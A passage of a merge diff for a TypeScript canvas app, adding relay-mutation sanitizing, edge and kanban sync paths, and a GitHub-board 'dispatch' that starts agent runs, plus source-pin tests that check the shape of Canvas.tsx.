} from '@shared/canvas-publish'
-import { createCanvasOrder, createReconnectWatch, type CanvasOrder } from '@shared/canvas-order'
-import { createMutationGuard } from '@shared/canvas-mutations'
+import {
+ createCanvasOrder,
+ createReconnectWatch,
+ isRemoveOp,
+ mutationKey,
+ type CanvasOrder
+} from '@shared/canvas-order'
+import {
+ applyEdgeMutationToScene,
+ createMutationGuard,
+ isEdgeMutation,
+ type CanvasScene
+} from '@shared/canvas-mutations'
+import { isKanbanOp } from '@shared/kanban-ops'
+ import { withoutCoreOrigin } from '@shared/node-exec'
import { chordHeld, isHoldChord, isModifierEventKey, matchesShortcut } from '@shared/shortcut'
// The dispatch below is the CONSUMER of the confirm-gated set. Before this import the set named
@@@ -2266,7 -2288,11 +2347,11 @@@ export function Canvas()
setupDoneForGroup,
useLaunchDelivery.getState().byId,
// The `--after-pr` gate: this canvas's pull request status and the clock its deadlines are on.
- { board: pullBoardFor(useGitHubIssues.getState(), renderedProjectId ?? ''), now: Date.now() }
- { board: pullBoardFor(useGitHubIssues.getState(), nodesProjectIdRef.current ?? ''), now: Date.now() },
++ { board: pullBoardFor(useGitHubIssues.getState(), renderedProjectId ?? ''), now: Date.now() },
+ // The `--after-success` gate: every station's latest task report (core's store, mirrored).
+ { outcomes: useStationOutcomes.getState().byId, now: Date.now() },
+ // Stations handed new work they have not finished: their `done` is the previous task's.
+ useStationHandovers.getState().byId
).filter((f) => !launchInFlight.current.has(f.id))
// Anything we were reporting on that is no longer an armed node — delivered, run by hand with
// ▶, or deleted — stops being reported. Timers go with it: a stall warning for a node that has
@@@ -3960,95 -3806,16 +4037,101 @@@
// mount-time local one (the bug). Byte-identical on a local tab (`activeSession.api` IS
// `window.nodeTerminal`). Re-keyed on the api OBJECT below, in lockstep with the publisher, so a
// tab switch tears down + re-binds both together (and a local→local switch does neither).
+ //
+ // The re-creation gate's release: the send callback holds a re-creation of a key whose remove of
+ // ours is unacked, and nothing else would ever cast it — our own echo is an ack, it changes no
+ // React state, so the [nodes] publish effect does not run. So the echo that clears the gate
+ // publishes, AFTER this handler (a repaired remove is applied first), and only when something is
+ // actually owed (a bulk delete's acks must not each serialize the canvas).
+ const releaseHeld = (): void => {
+ const pub = publisherRef.current
+ if (!pub || !pub.hasOwed() || loadingRef.current) return
+ pub.publish(publishableLater(nodesRef.current))
+ }
- return activeSession.api.canvas.onMutation((projectId, mutation) => {
+ // A relay tab's mutations come from ANOTHER machine's core, which can put anything on the wire,
+ // so its `origin: 'core'` vouches for nothing here: drop it, and the node's held launch stays
+ // ours (strip theirs, carry our own — @shared/node-exec). Nor may a relay peer's node bring a
+ // dial-capable SSH connection onto this machine (session/relay-ssh.ts).
+ const relay = activeSession.source === 'relay'
+ return activeSession.api.canvas.onMutation((projectId, received) => {
+ const mutation = relay ? sanitizeRelayMutation(withoutCoreOrigin(received)) : received
- hasPeersRef.current = true // proof of a peer, whatever the presence table says
- if (!orderRef.current?.accept(mutation)) return
- if (projectId !== useProjects.getState().activeProjectId) {
+ // Proof of a peer, whatever the presence table says — but only a cast from ANOTHER client
+ // (`provesPeer`): our own echo is our ack, and a lone client that casts on a governed project
+ // must not start publishing every project on this core.
+ if (provesPeer(mutation, canvasSrcRef.current)) hasPeersRef.current = true
+ const order = orderRef.current
+ if (!order) return
+ const key = mutationKey(mutation, projectId)
+ const held = order.hasPendingRemove(key)
+ const apply = order.accept(mutation, projectId)
+ const released = held && !order.hasPendingRemove(key)
+ if (released) queueMicrotask(releaseHeld)
+ if (!apply) return
+ // ---- the board (kanban) ----
+ // Into the projects STORE, for the active project and a background one alike: the board, the
+ // column pills and the card modal all read the store live, and React Flow holds no board. The
+ // store reducer, never `setProjectKanban` — its publish hook would re-cast a peer's op as ours
+ // — and no board-log entry: only the client that made the change records it (spec §5).
+ if (isKanbanOp(mutation)) {
+ applyToStored(projectId, mutation)
+ return
+ }
+ // ---- edges (context links + "spawned by" ropes) ----
+ // They live outside React Flow's `nodes` array, in their own state, so they take their own
+ // apply path — but everything around it is the node path's contract, unchanged: the ordering
+ // gate above has already decided this mutation wins, `adopt` is still the loop guard, and a
+ // background project is still patched in the store so our next save cannot delete the edge.
+ if (isEdgeMutation(mutation)) {
+ // Live only while React Flow holds that project (the epoch tag), not merely while it is the
+ // active one — the same rule as the node branch below (`liveCanvasHolds`).
+ if (!liveCanvasHolds(nodesProjectIdRef.current, useProjects.getState().activeProjectId, projectId)) {
+ applyToStored(projectId, mutation)
+ return
+ }
+ // One id is one edge (`applyEdgeMutationToScene`): an upsert of one kind also takes that id
+ // out of the other list, and a remove drops it from both — the same identity the ordering
+ // gate above keys on (`mutationKey` leaves the kind out).
+ const prevBridges = linkEdgesRef.current
+ const prevRopes = controlEdgesRef.current
+ const base = { bridges: prevBridges.map(toBridgeLink), ropes: prevRopes.map(toBridgeLink) }
+ const next = applyEdgeMutationToScene(base, mutation)
+ // Nothing to do — a remove for an edge we do not have, or the edge we already hold (every
+ // Server Edition tab re-casts a server-written edge): no setState, no markDirty, no save.
+ if (next.bridges === base.bridges && next.ropes === base.ropes) return
+ // Rebuilt EDGE-BY-EDGE, reusing the existing object whenever its three ids are unchanged —
+ // the same discipline `applyMutationToFlow` follows for nodes, and for the same reason: a
+ // freshly built object loses `selected`, so re-creating the whole list would wipe the
+ // user's edge selection every time a teammate touched any OTHER edge.
+ const keep = <T extends Edge>(prev: T[], link: BridgeLink): T | undefined => {
+ const e = prev.find((x) => x.id === link.id)
+ return e && e.source === link.source && e.target === link.target ? e : undefined
+ }
+ if (next.bridges !== base.bridges) {
+ // No `type`: a bridge carries none in state — `displayEdges` makes every link `floating`.
+ const edges = next.bridges.map(
+ (b) => keep(prevBridges, b) ?? { id: b.id, source: b.source, target: b.target }
+ )
+ linkEdgesRef.current = edges
+ setLinkEdges(edges)
+ }
+ if (next.ropes !== base.ropes) {
+ // Nothing but the three ids travels: a rope's colour and its waiting look are derived at
+ // render time from this client's own nodes (`displayEdges` / `ropeVisual`).
+ const edges = next.ropes.map((r) => keep(prevRopes, r) ?? ropeEdge(r.id, r.source, r.target))
+ controlEdgesRef.current = edges
+ setControlEdges(edges)
+ }
+ // The loop guard, AFTER both refs moved: publishableLater captures them as of this call.
+ publisherRef.current?.adopt(publishableLater(nodesRef.current))
+ markDirty()
+ return
+ }
+ // Live only while React Flow holds that project's canvas (`liveCanvasHolds` — the epoch tag
+ // AND the active id). During a switch the store already says B while React Flow still holds
+ // A, or nothing after a bail-out; B's op applied to that array ended the canvas on A's nodes
+ // plus the op, tagged B, and the next commit wrote them into B's file (Task 2 review, risk
+ // E). In that case B's serialized nodes are the right target: the load reads them.
+ if (!liveCanvasHolds(nodesProjectIdRef.current, useProjects.getState().activeProjectId, projectId)) {
// Not on screen (a parked / background project): no terminal is mounted, but one may be
// PARKED from a recent project switch — dispose it, as an active-project remove does.
if (mutation.op === 'remove') {
@@@ -4088,13 -3854,10 +4171,13 @@@
// first (i.e. constantly, while anyone else was dragging). Rebasing keeps the difference that
// IS yours, and adds nothing that is theirs.
committedRef.current = applyMutationToFlow(committedRef.current, mutation)
- setNodes(flow)
+ // FUNCTIONAL, a second guard behind the epoch refs: applied to whatever the state is when it
+ // lands. A plain `setNodes(flow)` overwrote every update queued since the last render — a local
+ // edit mid-drag, or the load's own `setNodes` if the ref were ever stale again.
+ setNodes(rebaseOnLatest(base, flow, (ns) => applyMutationToFlow(ns as CanvasNode[], mutation)))
markDirty()
})
- }, [activeSession.api, setNodes, setLinkEdges, setControlEdges, markDirty, publishableLater, applyToStored])
- }, [activeSession.api, activeSession.source, setNodes, markDirty, publishableLater])
++ }, [activeSession.api, setNodes, setLinkEdges, setControlEdges, markDirty, publishableLater, applyToStored, activeSession.source])
// Record an undo snapshot when the canvas settles (debounced; skips drag frames/loads).
useEffect(() => {
@@@ -10663,19 -10448,17 +10775,19 @@@
*/
const fileIssueSession = useCallback(
(
- issue: GitHubIssueCardView,
+ columnId: string | null,
ref: IssueRef,
- created: { node: CanvasNode; projectId: string },
+ created: { node: CanvasNode; placed: CanvasNode; projectId: string },
agentId: AgentId
) => {
const { node, projectId: targetProjectId } = created
const nodeId = node.id
// The project addAgentNode charged the node to (its guarded, live read) — not a second read.
- const board = useProjects.getState().getProject(targetProjectId)?.kanban ?? seedBoard
+ const board = useProjects.getState().getProject(targetProjectId)?.kanban ?? defaultKanban(targetProjectId)
- const column = issue.columnId ? board.columns.find((c) => c.id === issue.columnId) : undefined
+ const column = columnId ? board.columns.find((c) => c.id === columnId) : undefined
if (column) {
+ // The node goes on the wire BEFORE the card that names it (spec §2 batch order).
+ castNewNodeNow(targetProjectId, created.placed)
useProjects.getState().setProjectKanban(targetProjectId, assignNode(board, nodeId, column.id, null))
markDirty()
}
@@@ -10753,6 -10536,362 +10865,364 @@@
[agentCreationEntries, startIssueAgent]
)
+ // ---- Board dispatch: a card THIS person moves into the dispatch column starts its own run ----
+ // Decisions are lib/boardDispatch (pure, tested); consent is machine-local settings
+ // (@shared/board-dispatch); the queue is transient (state/boardDispatch). The run itself is
+ // exactly "Start with agent": `issueRef` binding, the reference-only launch prompt,
+ // `fileIssueSession` (card filed + `run-started`). On screen it goes through `addAgentNode`; for a
+ // project that is not on screen (a queued run whose slot freed later, or a project switch during
+ // the move's round trip) it is a cold open, already CLAIMED, plus the #925 headless start — so no
+ // dispatched node is ever left armed to start on its own later (the kill switch could not reach it).
+
+ /** Every node of a project as the dispatcher needs it: the live canvas for the active project,
+ * the stored copy for any other. `pending` = a launch that will start BY ITSELF. */
+ const dispatchNodesOf = useCallback(
+ (projectId: string): Array<{ id: string; issueRef?: unknown; pending: boolean }> => {
+ const st = useProjects.getState()
+ const selfStarting = (p: unknown): boolean =>
+ !!p && typeof p === 'object' && !(p as PendingLaunch).manualOnly
+ if (st.activeProjectId === projectId && nodesProjectIdRef.current === projectId) {
+ return nodesRef.current.map((n) => ({
+ id: n.id,
+ issueRef: n.data.issueRef,
+ pending: selfStarting(n.data.pendingLaunch)
+ }))
+ }
+ return (st.getProject(projectId)?.nodes ?? []).map((n) => ({
+ id: n.id,
+ issueRef: n.issueRef,
+ pending: selfStarting(n.pendingLaunch)
+ }))
+ },
+ []
+ )
+
+ /** Sessions bound to this issue that still exist, in ANY project: one run per issue. */
+ const dispatchBoundRuns = useCallback(
+ (key: string): number => {
+ let count = 0
+ for (const p of useProjects.getState().projects) {
+ for (const n of dispatchNodesOf(p.id)) if (issueKey(n.issueRef) === key) count++
+ }
+ return count
+ },
+ [dispatchNodesOf]
+ )
+
+ /** Runs of this project holding a concurrency slot now, plus dispatches still starting. */
+ const dispatchOccupying = useCallback(
+ (projectId: string): number => {
+ const byId = useAgentStatus.getState().byId
+ const { startedAt, byKey } = useBoardDispatch.getState()
+ const now = Date.now()
+ let count = 0
+ for (const n of dispatchNodesOf(projectId)) {
+ if (!normalizeIssueRef(n.issueRef)) continue
+ if (occupiesSlot({ state: byId[n.id]?.state, pending: n.pending, startedAt: startedAt[n.id] }, now)) count++
+ }
+ for (const e of Object.values(byKey)) if (e.projectId === projectId && e.status === 'starting') count++
+ return count
+ },
+ [dispatchNodesOf]
+ )
+
+ const dispatchAgentOk = (agentId: string): boolean =>
+ dispatchableAgent(
+ agentId,
+ !!agentConfig(agentId) || useSettings.getState().settings.customAgents.some((c) => c.id === agentId)
+ )
+
+ /** The consent binding of a project's dispatch column as it is NOW (repository from the issue's
+ * own reference — the board's repository). */
+ const dispatchBindingNow = (project: Project | undefined, columnId: string, ref: IssueRef | undefined) =>
+ dispatchBinding(
+ ref ? `${ref.owner}/${ref.repo}` : undefined,
+ project?.kanban?.columns.find((c) => c.id === columnId)?.title,
+ project?.kanban?.github?.columnMappings.find((m) => m.columnId === columnId)?.label
+ )
+
+ /** The project's run may start from here now: always on screen; off screen only where a headless
+ * launcher exists (the desktop — the browser's renderer has none). */
+ const dispatchStartableNow = (projectId: string): boolean =>
+ !isBrowserRuntime() || useProjects.getState().activeProjectId === projectId
+
+ /** Start one dispatched run. Called ONLY by dispatchOnUserMove and drainDispatchQueue (pinned by
+ * board-dispatch.guard.test). Never throws; every failure lands on the card. */
+ const dispatchStart = useCallback(
+ async (entry: DispatchCardEntry, config: BoardDispatchProject): Promise<void> => {
+ useBoardDispatch.getState().put({ ...entry, status: 'starting' })
+ const fail = (reason: string): void =>
+ useBoardDispatch.getState().put({ ...entry, status: 'refused', reason })
+ try {
+ const prompt = issueLaunchPrompt(entry.ref)
+ if (!prompt) return fail(DISPATCH_REFUSAL_TEXT['no-reference'])
+ const agentId = config.agentId as AgentId
+ const st = useProjects.getState()
+ const project = st.getProject(entry.projectId)
+ if (!project) return fail(DISPATCH_REFUSAL_TEXT['project-gone'])
+ if (project.ssh) return fail(DISPATCH_REFUSAL_TEXT['remote-project'])
+ if (project.closed) return fail(DISPATCH_REFUSAL_TEXT['project-closed'])
+ let nodeId: string
+ if (st.activeProjectId === project.id && canCreateOnCanvas(nodesProjectIdRef.current, project.id)) {
+ const created = addAgentNode(agentId, undefined, undefined, config.accountId, prompt, {
+ issueRef: entry.ref
+ })
+ if (!created) return fail('The agent could not be opened; the notice says why.')
+ fileIssueSession(entry.columnId, entry.ref, created, agentId)
+ nodeId = created.node.id
+ } else {
+ // Callers never send an off-screen start to a runtime without a headless launcher; this
+ // is the belt, so nothing is ever left armed there.
+ if (!dispatchStartableNow(project.id)) return fail('Open the project to dispatch this issue.')
+ // Not on screen: a cold open into the stored project (the control verbs' path), then the
+ // headless start. Defaults come from THAT project, never the one on screen.
+ const settings = useSettings.getState().settings
+ let account: string | undefined
+ if (agentId === 'codex') {
+ const decision = resolveNewCodexNodeAccount(
+ config.accountId,
+ settings.codexAccounts,
+ connectedProjectIdForHost
+ )
+ if (!decision.create) return fail('The dispatch Codex account is not usable.')
+ account = decision.accountId
+ } else {
+ account = resolveNewNodeAccount(config.accountId, project, settings.claudeAccounts)
+ }
+ const model =
+ settings.agentLaunchMode === 'gateway-model' &&
+ settings.modelGatewayDefaultModel &&
+ canSwitchModel(agentId)
+ ? settings.modelGatewayDefaultModel
+ : undefined
+ const stored = project.nodes
+ const built = createAgentNode(
+ agentId,
+ stored.length,
+ project.cwd,
+ { x: 0, y: 0 },
+ prompt,
+ undefined,
+ account,
+ projectPermissionMode(project, agentId),
+ project.id,
+ model
+ )
+ const node: CanvasNode = { ...built, data: { ...built.data, issueRef: entry.ref } }
+ const w = (node.width as number) ?? 640
+ const h = (node.height as number) ?? 440
+ const at = nextFreePosition(stored, { width: w, height: h })
+ node.position = { x: at.x - w / 2, y: at.y - h / 2 }
+ // Written ALREADY CLAIMED (the #925 write-ahead claim, manualOnly): in the same tick as the
+ // node, so there is no window in which opening the project could auto-start it beside the
+ // headless start, and whatever the headless start answers, the node never becomes armed
+ // to start by itself later — past a Pause, past a restart.
+ const [armed] = flowToNodeStates([armForColdOpen(node)])
+ st.applyOwnNodeMutation(project.id, {
+ op: 'upsert',
+ node: armed.pendingLaunch ? { ...armed, pendingLaunch: claimForHeadless(armed.pendingLaunch) } : armed
+ })
- fileIssueSession(entry.columnId, entry.ref, { node, projectId: project.id }, agentId)
++ // `placed` is the stored node itself: the project is not the canvas React Flow holds, so
++ // `castNewNodeNow` casts nothing for it (a stored project's node is not the node publisher's).
++ fileIssueSession(entry.columnId, entry.ref, { node, placed: node, projectId: project.id }, agentId)
+ nodeId = node.id
+ const held = useProjects.getState().getProject(project.id)?.nodes.find((n) => n.id === nodeId)
+ if (held?.pendingLaunch) {
+ const fresh = useProjects.getState().getProject(project.id) ?? project
+ const batch = await startNodesHeadlessRef.current(fresh, [held])
+ const outcome = batch.outcomes[0]
+ if (outcome && !outcome.started) {
+ // Every failure leaves the pre-claimed launch waiting for Run now (never armed): the
+ // node keeps the issue's one run until it is run or closed.
+ setNotice({
+ kind: 'error',
+ sticky: true,
+ text: `Dispatched #${entry.number} in "${project.name}", but it could not start (${outcome.reason}). Use Run now on its node, or close the node to dispatch the issue again.`,
+ action: { label: 'Go there', run: () => travelToNodeRef.current(nodeId) }
+ })
+ }
+ } else {
+ void writeDisk()
+ }
+ }
+ const done = useBoardDispatch.getState()
+ done.markStarted(nodeId, Date.now())
+ done.remove(entry.key)
+ } catch (error) {
+ console.warn('[nodeterm] board dispatch failed', error)
+ fail('Starting the agent failed.')
+ }
+ },
+ [addAgentNode, fileIssueSession, connectedProjectIdForHost, writeDisk]
+ )
+
+ /** Board dispatch's ONE trigger: a GitHub card this person moved, with GitHub's answer
+ * (KanbanView `onIssueMoved`). Pinned as the only caller by board-dispatch.guard.test. */
+ const dispatchOnUserMove = useCallback(
+ (projectId: string, issue: DispatchIssueCard, toColumnId: string | null, status: string) => {
+ const dispatch = sanitizeBoardDispatch(useSettings.getState().settings.boardDispatch)
+ const config = dispatch.projects[projectId]
+ if (!config) return
+ const project = useProjects.getState().getProject(projectId)
+ const ref = issueRefFromHtmlUrl(issue.htmlUrl, issue.number)
+ const key = issueKey(ref)
+ const current = key ? useBoardDispatch.getState().byKey[key] : undefined
+ const trigger = {
+ origin: 'user-move' as const,
+ projectId,
+ toColumnId,
+ moveStatus: status,
+ issue: { number: issue.number, htmlUrl: issue.htmlUrl, state: issue.state }
+ }
+ if (key && current && current.status !== 'starting' && moveWithdrawsDispatch(trigger, dispatch)) {
+ useBoardDispatch.getState().remove(key)
+ return
+ }
+ const decision = decideDispatch(
+ trigger,
+ {
+ dispatch,
+ project: project ? { remote: !!project.ssh, relay: !!project.remote } : undefined,
+ completionColumnId: project?.kanban?.github?.completionColumnId,
+ bindingNow: dispatchBindingNow(project, config.columnId, ref),
+ agentDispatchable: dispatchAgentOk(config.agentId),
+ boundRuns: key ? dispatchBoundRuns(key) : 0,
+ queuedOrStarting: current?.status === 'queued' || current?.status === 'starting',
+ occupying: dispatchOccupying(projectId)
+ }
+ )
+ if (decision.kind === 'ignore') return
+ const now = Date.now()
+ if (decision.kind === 'refuse') {
+ if (!key || !ref) {
+ setNotice({ kind: 'error', text: `#${issue.number} was not dispatched: ${DISPATCH_REFUSAL_TEXT[decision.reason]}` })
+ return
+ }
+ // A second drag of a card already on its way keeps its entry; everything else says why.
+ if (decision.reason === 'already-queued') return
+ useBoardDispatch.getState().put(
+ dispatchEntry({ key, projectId, ref, number: issue.number, columnId: config.columnId }, 'refused', now,
+ DISPATCH_REFUSAL_TEXT[decision.reason])
+ )
+ return
+ }
+ const entry = dispatchEntry(
+ { key: decision.key, projectId, ref: decision.ref, number: issue.number, columnId: config.columnId },
+ 'queued',
+ now
+ )
+ // Over the cap — or a project that left the screen during the move's round trip in a runtime
+ // that cannot start it off screen (the drain starts it when it is shown again).
+ if (decision.kind === 'queue' || !dispatchStartableNow(projectId)) {
+ useBoardDispatch.getState().put(entry)
+ return
+ }
+ void dispatchStart(entry, config)
+ },
+ [dispatchBoundRuns, dispatchOccupying, dispatchStart]
+ )
+
+ /** The card as the host's issue list for the dispatch column holds it now (a local read of the
+ * host's cache — no GitHub request). A failed read is `unreadable`, never absence. */
+ const dispatchReadCard = useCallback(
+ async (projectId: string, columnId: string, number: number): Promise<QueuedCardFact> => {
+ try {
+ let cursor: string | undefined
+ for (let page = 0; page < 10; page++) {
+ const res = await api.githubIssues.query({
+ projectId,
+ columnId,
+ pageSize: 50,
+ search: String(number),
+ ...(cursor ? { cursor } : {})
+ })
+ const hit = res.items.find((i) => i.number === number)
+ if (hit) return { kind: 'found', state: hit.state, columnId: hit.columnId }
+ if (!res.nextCursor) return { kind: 'absent' }
+ cursor = res.nextCursor
+ }
+ return { kind: 'unreadable' }
+ } catch {
+ return { kind: 'unreadable' }
+ }
+ },
+ [api]
+ )
+
+ /** Start what the queue's free slots allow, re-checking each issue first; drop entries whose
+ * project stopped dispatching. Called ONLY by the drain timer below. */
+ const dispatchRechecking = useRef(new Set<string>())
+ const drainDispatchQueue = useCallback(() => {
+ const dispatch = sanitizeBoardDispatch(useSettings.getState().settings.boardDispatch)
+ const queue = useBoardDispatch.getState().queue()
+ for (const e of queueToDrop(queue, dispatch)) {
+ const entry = useBoardDispatch.getState().byKey[e.key]
+ if (!entry) continue
+ useBoardDispatch.getState().put({
+ ...entry,
+ status: 'refused',
+ reason: DISPATCH_REFUSAL_TEXT[dispatch.paused ? 'paused' : 'switched-off']
+ })
+ }
+ const candidates = queueToStart(
+ useBoardDispatch.getState().queue().filter((e) => !dispatchRechecking.current.has(e.key)),
+ dispatch,
+ dispatchOccupying,
+ (e) => dispatchStartableNow(e.projectId)
+ )
+ for (const e of candidates) {
+ dispatchRechecking.current.add(e.key)
+ void (async () => {
+ try {
+ const project = useProjects.getState().getProject(e.projectId)
+ const config = dispatch.projects[e.projectId]
+ const card = config ? await dispatchReadCard(e.projectId, config.columnId, e.number) : ({ kind: 'unreadable' } as const)
+ // Everything re-read AFTER the await: settings, the project and the queue entry itself.
+ const now = sanitizeBoardDispatch(useSettings.getState().settings.boardDispatch)
+ const cfg = now.projects[e.projectId]
+ const entry = useBoardDispatch.getState().byKey[e.key]
+ if (!entry || entry.status !== 'queued') return
+ const verdict = recheckQueued({
+ config: cfg,
+ paused: now.paused,
+ project: project ? { remote: !!project.ssh, relay: !!project.remote, closed: !!project.closed } : undefined,
+ bindingNow: cfg ? dispatchBindingNow(useProjects.getState().getProject(e.projectId), cfg.columnId, e.ref) : undefined,
+ agentDispatchable: cfg ? dispatchAgentOk(cfg.agentId) : false,
+ card
+ })
+ if (verdict.kind === 'wait') return
+ if (verdict.kind === 'drop') {
+ useBoardDispatch.getState().put({ ...entry, status: 'refused', reason: DISPATCH_REFUSAL_TEXT[verdict.reason] })
+ return
+ }
+ // The issue may have gained a run by hand while it waited.
+ if (dispatchBoundRuns(e.key) > 0) {
+ useBoardDispatch.getState().remove(e.key)
+ return
+ }
+ if (cfg) await dispatchStart(entry, cfg)
+ } finally {
+ dispatchRechecking.current.delete(e.key)
+ }
+ })()
+ }
+ }, [dispatchOccupying, dispatchBoundRuns, dispatchStart, dispatchReadCard])
+ const drainDispatchQueueRef = useRef(drainDispatchQueue)
+ useEffect(() => {
+ drainDispatchQueueRef.current = drainDispatchQueue
+ })
+ // Re-checked on a short timer ONLY while something is queued (a slot frees when a run's turn
+ // ends, which no single store change says cheaply), on every settings change (pause, off), and
+ // on a project switch (the browser starts only the project on screen).
+ const dispatchQueued = useBoardDispatch((s) => Object.values(s.byKey).some((e) => e.status === 'queued'))
+ const boardDispatchSettings = useSettings((s) => s.settings.boardDispatch)
+ useEffect(() => {
+ if (!dispatchQueued) return
+ drainDispatchQueueRef.current()
+ const timer = setInterval(() => drainDispatchQueueRef.current(), DISPATCH_DRAIN_MS)
+ return () => clearInterval(timer)
+ }, [dispatchQueued, boardDispatchSettings, activeProjectId])
+
// ---- GitHub issue → agent session in its OWN worktree ("Start with agent in a new worktree ▸") ----
/** The reuse-or-new question, when the issue already has a worktree (or its branch exists). */
const [issueWorktreeAsk, setIssueWorktreeAskState] = useState<IssueWorktreeAsk | null>(null)
diff --cc src/renderer/canvas/authority-gate-wiring.test.ts
index 1acd7605b,000000000..de81de040
mode 100644,000000..100644
--- a/src/renderer/canvas/authority-gate-wiring.test.ts
+++ b/src/renderer/canvas/authority-gate-wiring.test.ts
@@@ -1,48 -1,0 +1,48 @@@
+// Source pins for the canvas-authority half of the publish gate (docs/hosted-team-relay.md). Canvas.tsx
+// cannot be rendered in the node test environment, so the load-bearing SHAPES are pinned here; the
+// behaviour behind them is collab-sync.test.ts (the rule), the bridge tests (who answers `governed`)
+// and canvas-sync.convergence.test.ts (a solo edit on a governed project reaches the authority).
+import { readFileSync } from 'node:fs'
+import { describe, it, expect } from 'vitest'
+const canvas = readFileSync(new URL('./Canvas.tsx', import.meta.url), 'utf8').replace(/\r\n/g, '\n')
+
+function between(src: string, start: string, end: string): string {
+ const i = src.indexOf(start)
+ expect(i, `missing: ${start}`).toBeGreaterThan(-1)
+ const j = src.indexOf(end, i + start.length)
+ return src.slice(i, j === -1 ? undefined : j)
+}
+
+describe('the publish gate hears the canvas authority', () => {
+ it('the ONE gate opens for a peer OR a governed project, the peer check still first', () => {
+ const gate = between(canvas, 'const shouldPublishFor = (projectId: string): boolean =>', 'const pub = createCanvasPublisher(')
+ // Through the pure rule (collab-sync `shouldPublish`), the peer check first.
+ expect(gate).toContain('shouldPublish(hasPeersRef.current, governedRef.current, projectId) &&')
+ // The two other halves are unchanged: the same core, and never a hosted viewer/commenter.
+ expect(gate).toContain('sessionForProject(projectId).api === activeSession.api')
+ expect(gate).toContain('!isHostedReadOnly(activeSession.id)')
+ })
+
+ it('the governed set is read from the ACTIVE core, reset on every re-bind, and kept current', () => {
+ const effect = between(canvas, 'const order = createCanvasOrder(src)', 'orderRef.current = null')
+ // Per core, like `hasPeersRef`: a relay tab's governed projects must not leak onto a local tab.
+ expect(effect).toContain('governedRef.current = NO_PROJECTS')
+ // `followGoverned` (collab-sync.test.ts) asks the core and follows its changes.
+ expect(effect).toContain('const governed = followGoverned(activeSession.api, (projects) => {')
+ expect(effect).toContain('governedRef.current = projects')
+ // Asked again on a reconnect, beside the order reset: a change may have been missed meanwhile.
+ expect(effect).toMatch(/if \(reconnected\(activePresence\.store\.getState\(\)\.myId\)\) \{\s*order\.reset\(\)\s*governed\.refresh\(\)/)
+ // The follower exists before the first presence read can ask it to refresh.
+ expect(effect.indexOf('const governed = followGoverned(')).toBeLessThan(effect.indexOf('readPresence()'))
+ // Released with the effect.
+ expect(effect).toMatch(/governed\.release\(\)/)
+ })
+
+ it('only ANOTHER client\'s mutation proves a peer (never our own echo)', () => {
- const handler = between(canvas, 'return activeSession.api.canvas.onMutation((projectId, mutation) => {', 'const order = orderRef.current')
++ const handler = between(canvas, 'return activeSession.api.canvas.onMutation((projectId, received) => {', 'const order = orderRef.current')
+ expect(handler).toContain('if (provesPeer(mutation, canvasSrcRef.current)) hasPeersRef.current = true')
+ expect(handler).not.toMatch(/^\s*hasPeersRef\.current = true/m)
+ const tag = between(canvas, 'const src = `cv-${Math.random().toString(36).slice(2, 10)}`', 'const order = createCanvasOrder(src)')
+ expect(tag).toContain('canvasSrcRef.current = src')
+ })
+})
diff --cc src/renderer/canvas/canvas-sync-ordering.source.test.ts
index e78726057,000000000..cceaa5568
mode 100644,000000..100644
--- a/src/renderer/canvas/canvas-sync-ordering.source.test.ts
+++ b/src/renderer/canvas/canvas-sync-ordering.source.test.ts
@@@ -1,103 -1,0 +1,103 @@@
+// Source pins for the ordering hardening of canvas sync (Task 3). Canvas.tsx cannot be rendered in
+// the node test environment, so the load-bearing SHAPES are pinned here; the behaviour behind each is
+// tested where it lives (canvas-order.test.ts, canvas-publish.test.ts,
+// canvas-sync.convergence.test.ts, nodesEpoch.test.tsx).
+import { readFileSync } from 'node:fs'
+import { describe, it, expect } from 'vitest'
+const src = readFileSync(new URL('./Canvas.tsx', import.meta.url), 'utf8').replace(/\r\n/g, '\n')
+
+/** The ONE cast both publishers send through (`castFor` — the node/edge publisher for the active
+ * project, the kanban publisher for whichever project a board write touched), from its creation to
+ * the cast. Task 6 moved the body here out of the node publisher's own send callback. */
+function sendCallback(): string {
+ const start = src.indexOf('const castFor = (projectId: string, m: CanvasMutation): boolean => {')
+ expect(start).toBeGreaterThan(-1)
+ return src.slice(start, src.indexOf('activeSession.api.canvas.mutate(projectId, stamped)', start))
+}
+
+/** The peer-mutation receive handler. */
+function receiveHandler(): string {
- const start = src.indexOf('return activeSession.api.canvas.onMutation((projectId, mutation) => {')
++ const start = src.indexOf('return activeSession.api.canvas.onMutation((projectId, received) => {')
+ return src.slice(start, src.indexOf('}, [activeSession.api, setNodes, setLinkEdges', start))
+}
+
+describe('the re-creation gate (canvas-order hasPendingRemove)', () => {
+ // A re-creation cast before our own remove's echo carries a `seen` below that remove, and every
+ // peer drops it as a stale frame (rule 4) while we keep showing it.
+ it('the send callback holds a non-remove op whose key has our remove in flight', () => {
+ const body = sendCallback()
+ const gate = body.indexOf('if (!isRemoveOp(stamped) && order.hasPendingRemove(mutationKey(stamped, projectId))) return false')
+ expect(gate).toBeGreaterThan(-1)
+ // …before anything records or casts it: a held op must not leave a pending entry behind.
+ expect(gate).toBeLessThan(body.indexOf('order.onLocal(stamped, projectId)'))
+ })
+
+ // Held = owed, but nothing re-publishes on its own: our echo is an ack, it changes no React state,
+ // so the [nodes] publish effect never runs. The release has to publish.
+ it('our own remove coming back releases what the gate held', () => {
+ const body = receiveHandler()
+ const held = body.indexOf('const held = order.hasPendingRemove(key)')
+ const accept = body.indexOf('order.accept(mutation, projectId)')
+ expect(held).toBeGreaterThan(-1)
+ expect(held).toBeLessThan(accept) // asked BEFORE the ack draws the count down
+ expect(body).toMatch(/const released = held && !order\.hasPendingRemove\(key\)/)
+ expect(body).toMatch(/if \(released\) queueMicrotask\(releaseHeld\)/)
+ })
+
+ // RULING R4: one order serves every loaded project, and a board's two order ops are per-project
+ // singletons — so both paths key, record and judge with the project the op belongs to. Dropping
+ // the project from any one of these made our unacked reorder in A deafen a peer's reorder in B.
+ it('both paths thread the project id into the order (key, onLocal, accept)', () => {
+ const send = sendCallback()
+ expect(send).toContain('mutationKey(stamped, projectId)')
+ expect(send).toContain('order.onLocal(stamped, projectId)')
+ expect(send).not.toMatch(/order\.onLocal\(stamped\)/)
+ const recv = receiveHandler()
+ expect(recv).toContain('const key = mutationKey(mutation, projectId)')
+ expect(recv).toContain('order.accept(mutation, projectId)')
+ expect(recv).not.toMatch(/order\.accept\(mutation\)/)
+ })
+
+ it('the release publishes only when something is owed, and never during a load', () => {
+ const start = src.indexOf('const releaseHeld = (): void => {')
+ expect(start).toBeGreaterThan(-1)
+ const body = src.slice(start, src.indexOf('\n }', start))
